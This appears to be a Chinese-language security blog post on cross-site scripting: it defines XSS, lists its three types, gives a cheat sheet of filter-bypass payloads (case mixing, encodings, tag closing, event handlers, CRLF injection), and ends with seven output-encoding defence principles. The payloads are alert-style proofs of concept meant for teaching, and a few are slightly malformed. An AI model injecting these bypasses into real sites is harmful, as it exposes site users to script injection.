跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。
0x01 XSS的分類
- 反射型(非持久型)
- 存儲型(持久型)
- DOM型
具體的一些介紹與簡單的實例就不做詳述了,本文主要介紹的是XSS的繞過技巧與防御。
0x02 XSS的繞過
大小寫繞過
<ScRIpT>alert('123')</sCRIpT>
編碼繞過
1.十六進制編碼
2.jsfuck編碼
3.url編碼
4.unicode編碼
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
'被過濾,我們可以將'寫為 '
將"/"轉義為"/"
繞過magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
閉合標簽
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
標簽繞過
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
其他符號繞過
%0aalert(1); %0a 換行符
/**/ 替換空格
%00 截斷
雙字母繞過
<img ononerrorerror="123">
<script>alalertert(123)</script>
寬字節繞過
gbxxxx系列的編碼,那么我們嘗試一下寬字節 %c0 %bf %5c
其他事件繞過
onload
onclick
onerror
prompt
confirm
onmousemove
CRLF injection繞過
CRLF是”回車 + 換行”(\r\n)的簡稱。
http://www.xxx.com%0d%0a%0d%0a+xss代碼
<svg/onload=prompt(1)>
0x03 XSS的防御
-
原則1:“Secure By Default”原則:不要往HTML頁面中插入任何不可信數據
-
原則2:在將不可信數據插入到HTML標簽之間時,對這些數據進行HTML Entity編碼
-
原則3:在將不可信數據插入到HTML屬性里時,對這些數據進行HTML屬性編碼
-
原則4:在將不可信數據插入到SCRIPT里時,對這些數據進行SCRIPT編碼
-
原則5:在將不可信數據插入到Style屬性里時,對這些數據進行CSS編碼
-
原則6:在將不可信數據插入到HTML URL里時,對這些數據進行URL編碼
-
原則7:使用富文本時,使用XSS規則引擎進行編碼過濾
歡迎訪問獨立博客joy_nick